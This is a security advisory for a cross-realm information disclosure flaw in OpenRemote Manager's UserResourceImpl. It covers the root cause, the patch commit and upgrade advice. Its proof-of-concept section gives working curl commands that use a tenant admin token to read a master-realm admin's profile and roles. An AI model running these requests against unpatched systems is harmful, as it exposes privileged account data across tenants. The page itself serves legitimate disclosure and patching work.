CVE-2026-54641: OpenRemote Manager Cross-Realm User Information Disclosure
A tenant admin in one OpenRemote realm can read the full profile and role assignments of any user in any other realm, including the privileged master realm, by supplying an arbitrary user UUID to thre
The problem
Three read methods in UserResourceImpl (get, getUserClientRoles, getUserRealmRoles) check whether the caller holds the read:admin role but never verify that the target user belongs to the caller's own realm. The realm path parameter is accepted and then silently ignored.
All write-side methods in the same class call throwIfCannotAdminRealm(realm), which invokes authContext.isRealmAccessibleByUser(realm) to enforce the realm boundary. The read methods were never updated when that guard was added for the write paths, leaving a clean asymmetry attackers can exploit.
Proof of concept
A working proof-of-concept for CVE-2026-54641 in io.openremote:openremote-manager, with the exact payload below.
# Step 1: get a tenantb-scoped access token
TENANTB_TOKEN=$(curl -s -X POST \
"https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \
-d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
# Step 2: read a master-realm user profile with the tenantb token
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e"
# HTTP 200: {"realm":"master","username":"admin","firstName":"System", ...}
# Step 3: read that user's realm roles
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e"
# HTTP 200: ["admin"]
# Step 4: read that user's client roles
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote"
# HTTP 200: ["read:admin","write:admin","read:users", ...]The root cause is CWE-639 (Authorization Bypass Through User-Controlled Key). The realm value in the URL path is a user-controlled key that should scope every lookup, but getUser(userId) delegates to getUserByIdFromDb() which queries by UUID with no realm filter, so the realm segment is decorative.
The patch commit de89b8d3af272d717bf297934c2cbc97243f08b7 adds throwIfCannotAdminRealm(realm) as the first statement in all three read methods, matching the guard already present on every write method in the same class. Any caller whose auth context does not include access to the requested realm now receives a 403 before the database query is ever reached.
The fix
Upgrade to openremote-manager 1.24.2 or later. The fix is in commit de89b8d3af272d717bf297934c2cbc97243f08b7, which adds throwIfCannotAdminRealm(realm) to the get, getUserClientRoles, and getUserRealmRoles methods in UserResourceImpl.java. No workaround exists for earlier versions; realm admins should be treated as potentially able to read cross-realm user data until the upgrade is applied.
Related research
- highCVE-2026-46498CVE-2026-46498: OpenAM Arbitrary OAuth2 Token Minting via CTS Namespace Confusion
- high · 7.6CVE-2026-54640CVE-2026-54640: OpenRemote KNXProtocol XXE Arbitrary File Read
- highCVE-2026-53712CVE-2026-53712: scram-client SCRAM Channel-Binding Silent Authentication Downgrade
- high · 7.5CVE-2026-46487CVE-2026-46487: GeoNetwork Elasticsearch Search ACL Bypass via Missing Query Field